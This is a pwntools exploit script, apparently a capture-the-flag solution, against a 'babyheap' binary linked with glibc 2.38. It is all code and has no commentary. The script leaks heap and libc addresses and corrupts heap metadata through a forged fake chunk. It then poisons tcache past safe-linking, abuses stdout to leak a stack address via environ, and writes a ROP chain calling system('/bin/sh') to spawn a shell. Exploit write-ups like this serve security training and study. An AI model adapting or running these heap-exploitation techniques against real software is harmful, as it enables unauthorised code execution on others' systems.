1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124
| from pwn import * from ctypes import * from struct import pack banary = "./babyheap" elf = ELF(banary) libc = ELF("/home/youlin/glibc-all-in-one/libs/2.38-1ubuntu6_amd64/libc.so.6")
ip = '' port = 0 local = 1 if local: io = process(banary) else: io = remote(ip, port)
context(log_level = 'debug', os = 'linux', arch = 'amd64')
def dbg(): gdb.attach(io) pause()
s = lambda data : io.send(data) sl = lambda data : io.sendline(data) sa = lambda text, data : io.sendafter(text, data) sla = lambda text, data : io.sendlineafter(text, data) r = lambda : io.recv() ru = lambda text : io.recvuntil(text) uu32 = lambda : u32(io.recvuntil(b"\xff")[-4:].ljust(4, b'\x00')) uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) iuu32 = lambda : int(io.recv(10),16) iuu64 = lambda : int(io.recv(12),16) uheap = lambda : u64(io.recv(6).ljust(8,b'\x00')) lg = lambda data : io.success('%s -> 0x%x' % (data, eval(data))) ia = lambda : io.interactive()
def menu(opt): sla('>>',str(opt)) # sl(str(opt))
def add(size,data): menu(1) sla(b"input your name size",str(size)) sla(b"input your name",data)
def delete(index): menu(4) sla(b'input index\n',str(index))
def show(index): menu(3) sla(b'input index\n',str(index))
def edit(index,size,name): menu(2) sla(b'input index',str(index)) sla(b'input your name size',str(size)) sa(b'input your name',name)
ru("0x") heapbase=iuu64()-0x2a0 lg("heapbase") fake_size=0x1940 fake_chunk=p64(0)+p64(fake_size)+p64(heapbase+0x2c0)*2
add(0x4f8,fake_chunk)#0 add(0x408,b'AAAA')#1 add(0x408,b'AAAA')#2 add(0x408,b'AAAA')#3 add(0x408,b'AAAA')#4 add(0x408,b'AAAA')#5 add(0x4f8,b'AAAA')#6 add(0x4f8,b'AAAA')#7 payload=b'A'*0x400+p64(fake_size) edit(5,0x408,payload) delete(6)
add(0x4e8,b'AAAA')#6 add(0x480,b'AAAA')#8 add(0x480,b'AAAA')#9 delete(8) add(0x490,b'AAAA')#8 show(1) libcbase=uu64()-0x1ff110 lg("libcbase") system=libcbase+libc.sym['system'] bin_sh=libcbase+next(libc.search(b'/bin/sh\x00')) pop_rdi=libcbase+0x0000000000028715 environ=libcbase+0x206258 stdout=libcbase+0x1ff7a0 ret=libcbase+0x0000000000026a3e
delete(2) delete(3) payload=b'A'*0x380+p64(0)+p64(0x411)+p64((heapbase+0x10)^(heapbase>>12)) edit(9,0x480,payload) sl(b'1') add(0x400,b'AAAA')#2 payload=p64(1)+p64(0)*14+p64(0x007000000000000)+p64(0x000556111e1e2a0) payload=payload.ljust(0x278,b'\x00')+p64(stdout) add(0x400,payload)#3
payload=p64(0xfbad1800)+p64(0)*3+p64(environ)+p64(environ+8)*4 add(0x400,payload) stack=uu64() lg("stack") ret_addr=stack-0x120 lg("ret_addr")
payload=p64(1)+p64(0)*14+p64(0x007000000000000) + p64(0x0000556111e1e2a0) payload=payload.ljust(0x278,b'\x00')+p64(ret_addr-8) edit(3,0x380,payload)
payload1=p64(0)+p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(system) sl(b'1') add(0x400,payload1)
menu(5) ia()
|